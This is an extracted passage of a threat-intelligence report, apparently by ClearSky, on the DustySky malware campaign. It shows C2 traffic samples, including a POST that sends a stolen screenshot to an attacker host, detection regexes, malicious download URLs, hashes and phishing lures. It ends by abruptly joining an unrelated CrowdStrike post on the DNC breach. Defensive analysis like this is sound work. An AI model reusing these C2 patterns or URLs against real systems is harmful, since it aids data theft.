+107.191.47.42 +NeD Worm +Music Synchronization.pdb +2015-08-08 +USA & Europe Random +NeD Worm +Music Synchronization.pdb +2015-08-08 +baker +NeD Worm +Music Synchronization.pdb +2015-08-10 +Fixed +NeD Worm Version 1 (2015-05-15) +log file.pdb +2015-05-14 +NeDKeY ver 1 +Internet.pdb +2015-07-04 +NeDKeY ver 1 +Internet.pdb +2015-07-04 +NeDKeY ver 1 +Internet.pdb +2015-07-04 +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 15 of 42 +Command and control communication +Traffic examples +Following are samples of communication with the command and control server (identifiers have been +altered). +DustySky has two hardcoded domains of command and control servers. It starts by checking if the first one is +alive by sending a GET request to TEST.php or index.php, expecting + as response. If it does not receive +an OK, it will try a second domain. +For example, this is an Initial GET request to index.php: +GET /index.php HTTP/1.1 +Host: facetoo.co].[vu +Connection: Keep-Alive +Server reply: +HTTP/1.1 200 OK +Date: Sun, 06 Sep 2015 19:52:49 GMT +Server: Apache/2.2.15 (CentOS) +X-Powered-By: PHP/5.3.3 +Content-Length: 2 +Connection: close +Content-Type: text/html; charset=UTF-8 +Next, a GET request is sent with information about the infected computer as Base64 parameters: +/IOS.php?Pn=9TbmRvd3KTxpbmRvd3icj4&fr=&GR=RmFjZUJvb2soSU9TKTxicj4gMjAxNS +0wOC0yNA&com=IDxicj4gIDxicj4g&ID=386578203222222738119472812481673914678 +&o=TWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwg&ho=ZmFjZXRvby5jby52dQ==& +av=&v=501P HTTP/1.1 +User-Agent: 386578203222222738119472812481673914678 +Host: facetoo.co].[vu +Another example of a URL in the GET request: +http://ra.goaglesmtp.co.vu/NSR.php?Pn=MWw1bEoxVDJqQiB8IFBTUFVCV1M&fr=&GR +=REFGQksoTlNSKTxicj4gMjAxNS0xMS0wNA&com=IDxicj4gIDxicj4g&ID=133279209241 +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 16 of 42 +34561851231757518321517760252DAFBK&o=TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFB +yZW1pdW0g&ho=cmEuZ29hZ2xlc210cC5jby52dQ==&av=&v=704 +Parameters +Parameter +Structure and meaning +user name> +hardcoded campaign identifier in the form of
+for example: +wikileaks (Ra)
2015-06-11 + or +meshal(Music)
2015-07-15
+

+Never used. + +>operating system< + +Anti-virus name +DustySky malware version +The following regular expression matches the communication patterns: +\/[A-Za-z]{2,5}\.php\?(?:(Pn|fr|GR|com|ID|o|ho|av|v)=[A-Za-z0-9\/=+]*={0,2}&?){5,9} +Stolen information sent to command and control as POST requests: +POST /RaR.php HTTP/1.1 +Content-Type: application/x-www-form-urlencoded +User-Agent: 1042541562231131292551331782259622162135190107BK +Host: down.supportcom.xyz +Content-Length: 109127 +Expect: 100-continue +ke=iVBORw0KGgoAAAANSUhEUgAAAyAAAAJYCAYAAACadoJwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjw +v8YQUAAAAJcEh.... +ID=1042541562231131292551331782259622162135190107BK& +N=Screen-2015-10-06_05-15-34-PM.png +HTTP/1.1 100 Continue +SSL and digital certificates +Recently, command and control communication changed from HTTP to HTTPS. The digital certificate used in +the HTTPS traffic is either self-signed or uses a legitimate Comodo issued certificate. +The domain bulk-smtp[.]xyz, which is owned by the attackers, uses the following digital certificate: +Certificate: +Data: +Version: 3 (0x2) +Serial Number: +35:e5:39:4c:58:e8:4d:f5:fa:9a:3c:25:21:12:01:19 +Signature Algorithm: sha256WithRSAEncryption +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 17 of 42 +Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, +CN=COMODO RSA Domain Validation Secure Server CA +Validity +Not Before: Nov 25 00:00:00 2015 GMT +Not After : Nov 24 23:59:59 2016 GMT +Subject: OU=Domain Control Validated, OU=PositiveSSL, CN=bulk-smtp.xyz +Prior to using the Comodo issued certificate, the attackers used a self-signed certificate, impersonating a TelAviv, Israel based company called EMS. The organizational unity in the certificate is +Email Markting Sales +(note the misspelling of "marketing"). +Certificate: +Data: +Version: 3 (0x2) +Serial Number: 13229300438499639338 (0xb797eaa82fb0c02a) +Signature Algorithm: sha256WithRSAEncryption +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 18 of 42 +Issuer: C=IL, ST=Israel - Telaviv, L=Tel Aviv, O=EMS, OU=Email +Markting Sales, CN=email-market.ml/emailAddress=info@email-market.ml +Validity +Not Before: Nov 17 14:15:08 2015 GMT +Not After : Nov 16 14:15:08 2016 GMT +Subject: C=IL, ST=Israel - Telaviv, L=Tel Aviv, O=EMS, OU=Email +Markting Sales, CN=email-market.ml/emailAddress=info@email-market.ml +For another domain, smtp.gq, this self-signed certificate was used: +Certificate: +Data: +Version: 1 (0x0) +Serial Number: 12074485766838107425 (0xa79130d4e1e53d21) +Signature Algorithm: sha1WithRSAEncryption +Issuer: C=IL, ST=Tel Aviv, L=Tel Aviv, O=BEM, OU=BEM co., CN=smtp.gq +/emailAddress=info@smtp.gq +Validity +Not Before: Nov 17 14:48:51 2015 GMT +Not After : Dec 17 14:48:51 2015 GMT +Subject: C=IL, ST=Tel Aviv, L=Tel Aviv, O=BEM, OU=BEM co., +CN=smtp.gq /emailAddress=info@smtp.gq +DustySky communication uses some or all of the following paths when communicating with its command +and control server: +Update.php +conn.php +geoiploc.php +news.htm +pass.php +passho.php +passyah.php +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 19 of 42 +Infrastructure +Using PassiveTotal's attack analysis platform, we were able to visualize the last 6 months of data for key +infrastructure used by the actors. It's worth noting that all IP addresses have been active in the past several +weeks with many of the domains resolving to them being a combination (green squares) of dynamic DNS +providers (blue squares) and registered domains (brown squares). These heatmaps allow us to identify +interesting periods or changes in the infrastructure that may have been due to actors adjusting their tactics. +Reader: +192.161.48.59 +In this graph, we can see the actors used a combination of dynamic DNS and registered domains up until +December 23rd. On that day, the actors seem to remove the registered domain and strictly use dynamic +DNS. It's unclear why this would occur, but it's possible that the server changed functions in the attack or +was no longer needed. +192.52.167.235 +In this graph, the colors clearly segment activity that occurred. The primary period of interest appears to be +when both dynamic DNS and registered domains are in use. This occurs from September 23rd to December +17th and has a number of days where new domains are associated to the IP address. While not entirely +known, this period could reflect the actors going live in their operation. Based on emails sent and +compilation dates, there were plenty of phishing campaigns going on during this period of time. It's also +worth noting that this IP address is no longer showing any content which could mean it's been taken offline. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 20 of 42 +167.160.36.14 +In this graph, we see activity starting on September 9th being directed to a dynamic DNS provider. Similar to +Graph One, we can see an increase in domains around the November timeframe with a drop-off in +December. Again, not entirely clear, but November may have been a point where the attackers felt the need +to diversify the domains they were using in attacks. +45.32.13.169 +In this graph, the gray blocks indicate that no activity was captured for a majority of the time. Starting +November 9th, the actors introduced four unique, registered domains before then adding dynamic DNS +providers. What's most interesting about this IP address is that the content for both dynamic DNS urls and +registered domains lead to the same download page that hosts a Windows executable. It's unclear why the +attackers continue to use both, but the move from registered domains to also using dynamic DNS domains +could suggest the actors are beginning to wise up. The use of dynamic DNS infrastructure makes attribution +and tracking more difficult as a dynamic DNS domain could be shared by unrelated parties. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 21 of 42 +72.11.148.147 +In this graph, we see the same lack of data until recent months and the use of both dynamic DNS and +registered domains. Given the recent activity and a large amount of domains being pointed at this IP +address, it's plausible that this server may be the most current of the actors. In fact, it could be involved in +on-going operations that we have seen into this year. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 22 of 42 +Threat actor and Attribution +We attribute the DustySky attacks, with medium-high certainty, to the same group that FireEye12 called +Molerats and Kaspersky13 called Gaza cybergang. Based on the following characteristics14. +Infrastructure overlap +Indicator +192.52.167.125 +Used by +Gaza cybergang +192.161.48.59 +Was pointed to by +update.ciscofreak.com used +by Gaza cybergang +dnsfor.dnsfor.me +185.82.202.207 +Gaza cybergang +Was pointed to by +dnsfor.dnsfor.me used by +Gaza cybergang +Also used for DustySky with +f589827c4cf94662544066b80bfda6ab +0756357497c2cd7f41ed6a6d4403b395 +84e5bb2e2a27e1dcb1857459f80ac920 +18ef043437a8817e94808aee887ade5c +3227cc9462ffdc5fa27ae75a62d6d0d9 +fcecf4dc05d57c8ae356ab6cdaac88c2 +9c60fadece6ea770e2c1814ac4b3ae74 +7a91d9bcd02b955b363157f9a7853fd1 +7f5cb76ca3ba8df4cabceb3c1cd0c11e +c8fa23c3787d9e6c9e203e48081a1984 +6af77a2f844c3521a40a70f6034c5c4a +Gaza Strip origins +Only one sample + aa288a5cbf4c897ff02238e851875660 + was uploaded to VirusTotal, shortly after it was +compiled. Less than a minute and a half elapsed between compilation on August 8th 2015 at 10:31:12 and +the first VirusTotal submission at 10:32:24. This sample was uploaded from Gaza. +The very short time frame between compilation and VirusTotal submission could indicate that the attacker is +the one who has submitted the sample + in order to learn whether antivirus engines detect it. +https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-usingpoison-ivy.html +https://securelist.com/blog/research/72283/gaza-cybergang-wheres-your-ir-team/ +All attribution data in the table are taken from https://securelist.com/blog/research/72283/gaza-cybergang-wheresyour-ir-team/. +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 23 of 42 +Email messages sent from Gaza Strip +Some of the malicious email messages, for example those containing +Supermodel Bar Refaeli Stars in Israeli +Spy Movie.exe + and +.exe + (Hamas unveiled a documentation of Gilad +Shalit in captivity), were sent from 185.12.187.10515 and 31.223.186.7116 respectively. Both IPs belong to +internet provider CITYNET17, based in Gaza Strip. +Similar TTPs +The attribution of this activity to the above mentioned group is also based on similarities in attack +characteristics: +Email subjects. +Content of lure documents. +Style and grammatical errors. +Impersonation of senders from government organizations, security forces and media outlets. +Impersonating legitimate software. +Target characteristics and overlap (i.e. organizations that where targeted by Molerats are similarly +targeted with DustySky) +Individuals +Recent samples had +Last Saved By + properties of the document point to a specific individual who we believe +is one of the attackers. In his Social media accounts this individual defines himself as a Software Engineer +who lives in Gaza. Public interactions on his YouTube page (such as videos he liked) are related to hacking +tools and methods. We have decided not to disclose this individual's name in the public report. +https://whois.domaintools.com/185.12.187.105 +http://whois.domaintools.com/31.223.186.71 +CITYNET + City Net Informatics, Internet and Communication Technologies and General Trade Ltd. (PS) +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 24 of 42 +Appendix A - Malicious email messages and lures +Below we present email and lure documents that were used in the campaign. +Saudi Arabia boosts security on Yemen border +Greek coastguard appears to sink refugee boat.exe +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 25 of 42 +US delegation heading to Israel to discuss Iran terror funding +eea2e86f06400f29a2eb0c40b5fc89a6 +Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 26 of 42 +ISIS leader raped the American captive +The Truth About Your Sexual Peak , Don't worry +Estimate position - the Gaza bombings.exe +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 27 of 42 +.exe +(the reasons for lifting A-Sisi's diplomatic immunity and the possibility of his arrest in London) +Google-Privacy.doc +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 28 of 42 +Invoice details.doc +f94dfd49142bdae4a525997e4c0b944c +(Highlights of matters attributed by Egypt to the leaks from the Saudi foreign service) +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 29 of 42 +(Translation: +the real culprit behind the plane crash in Sinai, according to Russia +(The USA reveals Israel's nuclear secrets18) +The title includes a syntax error + omission of the accusative preposition +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 30 of 42 +- How to Defend Against Stabbing.exe +Spy vs. Spy: Inside the Fraying U.S.-Israel Ties.exe +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 31 of 42 +exe. +(The police is checking suspected delivery of secret documents to civilians by people close to Barak or +Galant) +b2f008d80bf954394cf9ccbcccfda154 +8752f07a83b6830049dd5e6744bb444c +(Title: Before the eyes of their four children: Two parents assassinated in a shooting terror attack in +Samaria) +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 32 of 42 +exe. +(A list of terror organizations and Palestinian Militias) +exe.'' +FBi +(A former FBI agent: "Ben Laden is still alive") +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 33 of 42 +Appendix B - Indicators +type +indicator +support.marktingfac.tk/20151027/Update.php?id=&token1=VGVzdCtzbXRwKzgxNzg&token2=&C +=Click +spynews.otzo.com/20151104/Update.php?id=&token1=U3B5KzE3MzY&token2=&C=Click +info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?id=&t= +oken1=3DVXNhZW0rMTUw&token2=&C=3DClic= k +https://copy.com/s8w9tqqzVDaXIkcR/ +.rar?download=1 +http://support.markting-fac.tk/20151027/Update.php +http://singin.loginto.me/050915/.php?id=&token1=bW9yaWFiKzk0Ng%3D%3D +&token2=&C=Click +http://sales-spy.ml/sales/details.zip +http://news.net-freaks.com/upex/Wor +http://news.net-freaks.com/De.php?id=tasreb&token1=&token2=&C=Click +http://mailweb.otzo.com/HZ.php?Pn=UEMgfCBBZG1pbmlzdHJhdG9y&fr=&GR=Tm92ZW1iZXIoSFopPGJ +yPiAyMDE1LTExLTAz&com=IDxicj4gIDxicj4g&ID=54951921481121311311307520612119912657784HZ +&o=TWljcm9zb2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFs&ho=bWFpbHdlYi5vdHpvLmNvbQ==&av= +&v=704 +http://info.intarspace.co.vu/u/dsfihkfisgbdfsdfbsdkfs.php?id=3DUsaem+150&t=oken1=3DVXNhZW0rM +TUw&token2=3DZG92ZXIucGFkYW1AZ21haWwuY29tIA%3D%3D&C=3DClic= k +http://ed3qy5yioryitoturysuiu.otzo.com/U/HeA-N-P +http://dnsfor.dnsfor.me/Attachments.rar +http://dfwsd.co.vu/open.php?id=openexe&token1=b3BlbmV4ZQ&token2=b3BlbmV4ZQ&C=openexe +http://cnaci8gyolttkgmguzog.ignorelist.com/B.php?Pn=UExBQ0VIT0wtNkY2OTlBIHwgQWRtaW5pc3Ry +YXRvciAgfCAgSUQtUmFuZA==&ID=188507120521521921574709117922314512724517&o=TWljcm9zb +2Z0IFdpbmRvd3MgWFAgUHJvZmVzc2lvbmFs&av=&H=http://cnaci8gyolttkgmguzog.ignorelist.com +http://0arfx4grailorhvlicbj.servehumour.com/u/procexp +comments +hr.goaglesmtp.co.vu/NSRDaf/Update.php?id=&token1=REFGKzcxNjU&token2= +&C=Click +drive.google.com/uc?export=download&id=0ByjYVMTYJB0sazgwM3AwZ2h3T2s +copy.com/sr2T0SYaebYLGjNQ/Hot-Story.rar?download=1 +copy.com/s8w9tqqzVDaXIkcR/ +.rar?download=1 +copy.com/NPe29ONMhE7qWMpv/Report.rar?download=1 +copy.com/jYwMk6zWZzdUCuBr/Hot-Report%26Photos.rar?download=1 +copy.com/fC2na4YLrpbYDj6G/Secret_Report.rar?download=1 +copy.com/bQPNqJRMjZpnKf4R/Attachments.rar?download=1 +spynews.otzo.com/20151104/Details.zip +http://news20158.co.vu/index.php +http://directexe.com/788/Attachments.rar +http://dfwsd.co.vu/open.php +https://copy.com/Tc6THzxjOL3zd1bL/Video.zip?download=1 +sha1 +f91948f456bf5510bdbb3a9245a5905324f7bbba +sha1 +945a90159bae5b128e3170cb9096ea7b233fce43 +sender +test0work@yandex.com +previous +campaign +previous +campaign +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 34 of 42 +sender +sky0news@gmail.com +sender +Israeli Hot Stories info@bulk-smtp.xyz +sender +innsniab@gmail.com +sender +IDF Spokesperson +s Unit +sender +ibnkhaldon9@gmail.com +sender +IAI Media info@news.bulk-smtp.xyz +sender +Latest Israel news +sender +doron.eiliat@gmail.com +sender +bulk+mossad.gov.il@support-sales.tk +Regular +expression +Regular +expression +\/[A-Za-z]{2,5}\.php\?(?:(Pn|fr|GR|com|ID|o|ho|av|v)=[A-Za-z0-9\/=+]*={0,2}&?){5,9} +DustySky traffic +\/[A-Za-z]+\.php\?((?:id|token1|token2|C)=[A-Za-z0-9\/=+%]*={0,2}&?){4} +DustySky +delivery +i:\World\sfx\2015-08-08 NeD ver 5P USA & Europe Random\NeD Worm\obj\x86\Debug\Music +Synchronization.pdb +i:\World\sfx\2015-08-08 NeD ver 5P baker\NeD Worm\obj\x86\Debug\Music Synchronization.pdb +H:\SSD\C#\Wor -1 - 2015-05-14\NeD Worm Version 1 (2015-05-15)\obj\x86\Debug\log file.pdb +g:\World\sfx\2015-07-15 NeD ver 5 - meshal\NeD Download and execute Version 1 Doc\obj\x86\Debug\News.pdb +g:\World\sfx\2015-07-04 NeDKeY ver 1\NeDKeY ver 1\obj\x86\Debug\Internet.pdb +b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Worm\obj\x86\Release\MusicLogs.pdb +b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 Doc\obj\x86\Release\News.pdb +b:\World-2015\IL\Working Tools\2015-12-27 NeD Ver 9 Rand - 192.169.6.199\NeD Download and execute Version 1 Doc\obj\x86\Release\News.pdb +b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver +1\obj\x86\Release\Internet.pdb +b:\World\IL\Working Tools\2015-11-17 NeD Ver 8 PRI - 172.245.30.30\NeD +Worm\obj\x86\Release\MusicLogs.pdb +b:\World\IL\Working Tools\2015-11-12 NeD Ver 8SSl GOV - 192.161.48.59\NeD +Worm\obj\x86\Release\MusicLogs.pdb +b:\World\IL\Working Tools\2015-11-08 NeD Ver 704 mossad Track - 192.161.48.59 - save strem\NeD +Worm\obj\x86\Debug\MusicLogs.pdb +b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb +i:\World\sfx\2015-08-10 NeD ver 5P Fixed\NeD Worm\obj\x86\Debug\Music Synchronization.pdb +b:\World\IL\Working Tools\2015-11-04 NeD Ver 704 SPY ND - 192.52.167.235\NeD Download and execute Version 1 Doc\obj\x86\Debug\News.pdb +b:\World\IL\Working Tools\2015-11-03 NeD Ver 704 Stay - 107.191.47.42\NeD +Worm\obj\x86\Debug\MusicLogs.pdb +b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Worm\obj\x86\Debug\MusicLogs.pdb +b:\World\IL\Working Tools\2015-10-27 NeD Ver 704 NSR ND - 192.52.167.235\NeD Download and execute Version 1 Doc\obj\x86\Debug\News.pdb +b:\World\IL\Working Tools\2015-10-21 NeD Ver 703 Random Face - 192.161.48.59 - save strem\NeD +Worm\obj\x86\Debug\MusicLogs.pdb +C:\Users\-\Desktop\NeD Download and execute Version 1 - Doc\obj\x86\Debug\News.pdb +b:\World\IL\Working Tools\2015-11-14 NeD Ver 8SSl Socks - 167.160.36.14 - https\NeD +Worm\obj\x86\Release\MusicLogs.pdb +b:\World-2015\IL\Working Tools\2015-07-04 NeDKeY ver 1\NeDKeY ver +1\obj\x86\Release\Internet.pdb +E:\AANewIst2015\Downloader\2015-08-18 NeD ver 501P Fixed - Dov\2015-08-18 NeD ver 501P Fixed - Dov\NeD Download +and execute Version 1 - Doc\obj\x86\Debug\News.pdb +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 35 of 42 +Mutex +b:\World-2015\IL\Working Tools\2015-12-29 NeD Ver 8 Stay jan 107.191.47.42\NeD +Worm\obj\x86\Release\MusicLogs.pdb +NewFolder.exe +Mutex +New.exe +Mutex +Clean.exe +Mutex +{9F6F0AC4-89A1-45fd-A8CF-72F04E6BDE8F} +fcecf4dc05d57c8ae356ab6cdaac88c2 +f6e8e1b239b66632fd77ac5edef7598d +f589827c4cf94662544066b80bfda6ab +eea2e86f06400f29a2eb0c40b5fc89a6 +e9586b510a531fe53fec667c5c72d87b +e69bd8ab3d90feb4e3109791932e5b5e +e55bbc9ef77d2f3723c57ab9b6cfaa99 +e3f3fe28f04847f68d6bec2f45333fa7 +ddb6093c21410c236b3658d77362de25 +dd9dcf27e01d354dbae75c1042a691ef +d23b206a20199f5a016292500d48d3d2 +c75c58b9e164cc84526debfa01c7e4b9 +bf5d9726203e9ca58efb52e4a4990328 +bee2f490ec2cd30edaea0cb1712f4ed4 +bbd0136a96fec93fc173a830fd9f0fc0 +baff12450544ac476e5e7a3cbdeb98b5 +bab02ab7b7aa23efcab02e4576311246 +b1071ab4c3ef255c6ec95628744cfd3d +aa541499a7dbbcb9cd522ccde69f59e6 +aa288a5cbf4c897ff02238e851875660 +aa1f329a8cfdaf79c3961126a0d356fe +a79c170410658eac31449b5dba7cc086 +a6aa53ce8dd5ffd7606ec7e943af41eb +9c60fadece6ea770e2c1814ac4b3ae74 +99ffe19cb57d538e6d2c20c2732e068c +96d2e0b16f42c0fd42189fd871b02b5e +96bf59cc724333ddbcf526be132b2526 +8cdb90b4e6c87a406093be9993102a46 +8bb2d2d1a6410c1b5b495befc6ae0945 +89125df531db67331a26c5064ab0be44 +8579d81c49fa88da8002163f6ada43e1 +84e5bb2e2a27e1dcb1857459f80ac920 +84687e72feade5f50135e5fc0e1696e3 +7f5cb76ca3ba8df4cabceb3c1cd0c11e +7a91d9bcd02b955b363157f9a7853fd1 +79d701e58c55062faf968490ad4865b0 +previous +campaign +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 36 of 42 +796a6062d236f530d50209a9066b594a +77d6e2068bb3367b1a46472b56063f10 +7450b92d96920283f441cb1cd39ab0c8 +6fd045ee7839fd4249aeda6ffd3e3b13 +6af77a2f844c3521a40a70f6034c5c4a +641a0dbdd6c12d69dc8325522aaa2552 +5f0f503246665231c5bb7e8a78c16838 +577ac4f43871a07fd9b63b8a75702765 +4e93b3aa8c823e85fdc2ebd3603cd6e9 +45e662b398ecd96efd1abc876be05cb3 +3f88ca258d89ff4bd6449492f4bd4af6 +3ee15c163fbf6c36076b44c6fd654db2 +38b505a8aa5b757f326e0a8fe032e192 +3227cc9462ffdc5fa27ae75a62d6d0d9 +286a1b5092f27b3e7e2f92e83398fcc2 +2606387a3dfb8bdc12beefacefc0354f +22ff99f039feb3c7ae524b6d487bbff7 +1dfb74794a0befb6bb5743fa4305c87b +1d9612a869ad929bd4dd16131ddb133a +18ef043437a8817e94808aee887ade5c +154b2f008d80bf954394cf9ccbcccfda +12fd3469bdc463a52c89da576aec857e +0d65b89215a0ecb18c1c86dc5ac839d0 +0b0d1924eff3e6e6ca9bcbe60a0451bf +0756357497c2cd7f41ed6a6d4403b395 +5c3595e60df4d871250301b0b0b19744 +59f50a346aae12cbd5c1dec0e88bbde4 +ffc183a5c86b1ce0bab7841bb5c9917f +bd07fd19b7598a0439b5cfd7d17ad9e6 +6dce847c27f5dd99261066093cb7b859 +a5c8bbacc9fce5cf72b6757658cf28f7 +ddd11518b1f62f2c91f2393f15f41dcd +c8fa23c3787d9e6c9e203e48081a1984 +c46a40de75089a869ec46dec1e34fe7b +bd19da16986240323f78341d046c9336 +5e0eb9309ef6c2e1b2b9be31ff30d008 +5896908cf66fd924e534f8cdb7bec045 +53f75e3d391e730a2972b4e2f7071c2e +4731eb06a2e58a988684e62f523e7177 +previous +campaign +previous +campaign +previous +campaign +previous +campaign +previous +campaign +previous +campaign +previous +campaign +previous +campaign +______________________________________________________________________________ + Clearsky - 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Cyber security. clearskysec.com +Page 38 of 42 +filename +The Truth About Your Sexual Peak , Don't worry.exe +filename +Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe +filename +Spy vs. Spy Inside the Fraying U.S.-Israel Ties.exe +filename +Novm-H-S.exe.bin +filename +MusicLogs.exe +filename +Music Synchronization.exe +filename +MP4.exe.bin +filename +log file.exe +filename +Invoice details.doc +filename +Internet-y.exe +filename +Hot-Story.RAR +filename +Hot-Report&Photos.rar +filename +Google-Privacy.doc +filename +FileZellacompiler.exe.bin +filename +Estimate position - the Gaza bombings.exe +filename +Egypt in the saudi arabia leaks - second set.exe +filename +Browsem.exe +filename +Greek coastguard appears to sink refugee boat.exe +filename +.exe +filename +domain +star.yaneom.space +domain +yaneom.space.co +domain +yaneom.ml +domain +xr.downloadcor.xyz +domain +wembail.supportmai.cf +domain +wallnet.zyns.com +domain +version.downloadcor.xyz +domain +v6.support-sales.tk +domain +us.suppoit.xyz +domain +transkf.tk +domain +suppot-sales.mefound.com +domain +support-sales.tk +domain +supports.mefound.com +domain +support.mypsx.net +domain +support.markting-fac.tk +domain +support.bkyane.xyz +domain +supo.mefound.com +domain +sup.mefound.com +domain +submit.mrface.com +domain +sub.submitfda.co.vu +domain +star.mefound.com +previous +campaign +previous +campaign +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 39 of 42 +domain +spynews.otzo.com +domain +socks.israel-shipment.xyz +domain +smtpa.dynamic-dns.net +domain +smtp.gq +domain +smtp.email-test.ml +domain +sky.otzo.com +domain +sip.supportcom.xyz +domain +singin.loginto.me +domain +ser.esmtp.biz +domain +sales-spy.ml +domain +salesmarkting.co.vu +domain +sales.suppoit.xyz +domain +sales.suppoit. xyz +domain +sales.blogsyte.com +domain +ra.goaglesmtp.co.vu +domain +ns.suppoit.xyz +domain +news20158.co.vu +domain +news.net-freaks.com +domain +news.bulk-smtp.xyz +domain +ms.suppoit.xyz +domain +mossad.mefound.com +domain +marktingvb.ml +domain +markit.mefound.com +domain +marki.mefound.com +domain +mailweb.otzo.com +domain +krowd.downloadcor.xyz +domain +jenneaypreff.linkpc.net +domain +jake.support-sales.tk +domain +iphonenewsd.co.vu +domain +infoblusa.tk +domain +idf.idfcom.co.vu +domain +hr.goaglesmtp.co.vu +domain +hostgatr.mrface.com +domain +hdgshfdgh.co.vu +domain +games.buybit.us +domain +gamail.goaglesmtp.co.vu +domain +gabro.xxuz.com +domain +facetoo.co.vu +domain +email-test.ml +domain +emailotest.co.vu +domain +ed3qy5yioryitoturysuiu.otzo.com +domain +drivres-update.info +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 40 of 42 +domain +down.supportcom.xyz +domain +down.downloadcor.xyz +domain +direct-marketing.ml +domain +dfwsd.co.vu +domain +cnaci8gyolttkgmguzog.ignorelist.com +domain +cl170915.otzo.com +domain +buy.israel-shipment.xyz +domain +bulk-smtp.xyz +domain +baz.downloadcor.xyz +domain +aqs.filezellasd.co.vu +domain +acc.buybit.us +domain +aaas.mefound.com +domain +0arfx4grailorhvlicbj.servehumour.com +domain +skynews1.blogsyte.com +domain +goodwebmail.tk +domain +email-market.ml +domain +imazing.ga +domain +0n4tblbdfncaauxioxto.ddns.net +domain +cyaxsnieccunozn0erih.mefound.com +domain +word.2waky.com +domain +us-update.com +domain +sales.intarspace.co.vu +domain +newdowr.otzo.com +domain +new.newlan.co.vu +domain +lkvz7bsfuiaidsyynu7bd2owpe.dns05.com +domain +info.intarspace.co.vu +domain +gfhbgfzfgfgfgdg.otzo.com +domain +3tshhm1nfphiqqrxbi8c.servehumour.com +domain +d.nabzerd.co.vu +domain +debka.ga +domain +dontrplay.tk +domain +zapt.zapto.org +domain +news015.otzo.com +domain +news.buybit.us +domain +markting-fac.tk +domain +adfdafsggdfgdfgsagaer.blogsyte.com +domain +helthnews.ga +domain +update.ciscofreak.com +domain +googledomain.otzo.com +domain +accounts-helper.ml +domain +www.dorcertg.otzo.com +domain +directl.otzo.com +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 41 of 42 +domain +dnsfor.dnsfor.me +domain +filezellla.otzo.com +domain +ksm5sksm5sksm5s.zzux.com +domain +markting.mefound.com +domain +vbdodo.mefound.com +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +Campaign +identifiers +wikileaks (Ra)
2015-06-11 +very important (key)
2015-07-07 +Star(Star)
2015-10-18 +Random(Music)
2015-07-13 +November(HZ)
2015-11-03 +MOSSAD(Track)
2015-11-08 +meshal(Music)
2015-07-15
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2015-08-13 +FaceBook(IOS)
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2015-11-04 +SPYND(NSR)
2015-11-04 +Doc Test
2015-11-30 +______________________________________________________________________________ + Clearsky - Cyber security. clearskysec.com +Page 42 of 42 +Bears in the Midst: Intrusion into the Democratic National Committee +crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ +Dmitri Alperovitch +There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe. In all of these cases, we operate under strict +confidentiality rules with our customers and cannot reveal publicly any information about these attacks. But on rare occasions, a customer decides to go public with information about their +incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers. This +story is about one of those cases. +CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a +suspected breach. We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network + COZY BEAR and FANCY BEAR. We +ve had lots +of experience with both of these actors attempting to target our customers in the past and know them well. In fact, our team considers them some of the best adversaries out of all the +numerous nation-state, criminal and hacktivist/terrorist groups we encounter on a daily basis. Their tradecraft is superb, operational security second to none and the extensive usage of +living-off-the-land + techniques enables them to easily bypass many security solutions they encounter. In particular, we identified advanced methods consistent with nation-state level +capabilities including deliberate targeting and +access management + tradecraft + both groups were constantly going back into the environment to change out their implants, modify +persistent methods, move to new Command & Control channels and perform other 